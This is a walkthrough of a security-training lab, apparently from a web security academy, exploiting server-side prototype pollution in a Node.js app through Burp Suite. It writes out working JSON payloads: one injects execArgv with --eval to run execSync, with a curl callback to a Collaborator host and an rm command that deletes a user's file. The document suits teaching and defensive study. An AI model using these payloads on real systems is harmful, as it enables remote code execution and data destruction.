Lab: Remote code execution via server-side prototype pollution

The command execution sink is only invoked when an admin user triggers vulnerable functionality on the site.

Study the address change feature

1. Log in and visit your account page. Submit the form for updating your billing and delivery address.

2. In Burp, go to the Proxy > HTTP history tab and find the POST /my-account/change-address request.

3. Observe that when you submit the form, the data from the fields is sent to the server as JSON. Notice that the server responds with a JSON object that appears to represent your user. This has been updated to reflect your new address information.

4. Send the request to Burp Repeater.

Identify a prototype pollution source

1. In Repeater, add a new property to the JSON with the name __proto__, containing an object with a json spaces property.

   "__proto__": { "json spaces":10 }

2. Send the request.

3. In the Response panel, switch to the Raw tab. Notice that the JSON indentation has increased based on the value of your injected property. This strongly suggests that you have successfully polluted the prototype.

Probe for remote code execution

1. In the browser, go to the admin panel and observe that there's a button for running maintenance jobs.

2. Click the button and observe that this triggers background tasks that clean up the database and filesystem. This is a classic example of the kind of functionality that may spawn node child processes.

3. Try polluting the prototype with a malicious execArgv property that adds the --eval argument to the spawned child process. Use this to call the execSync() sink, passing in a command that triggers an interaction with the public Burp Collaborator server. For example:

   "__proto__": { "execArgv":[ "--eval=require('child_process').execSync('curl https://YOUR-COLLABORATOR-ID.oastify.com')" ] }

4. Send the request.

5. In the browser, go to the admin panel and trigger the maintenance jobs again. Notice that these have both failed this time.

6. In Burp, go to the Collaborator tab and poll for interactions. Observe that you have received several DNS interactions, confirming the remote code execution.

Craft an exploit

1. In Repeater, replace the curl command with a command for deleting Carlos's file:

   "__proto__": { "execArgv":[ "--eval=require('child_process').execSync('rm /home/carlos/morale.txt')" ] }

2. Send the request.

3. Go back to the admin panel and trigger the maintenance jobs again. Carlos's file is deleted and the lab is solved.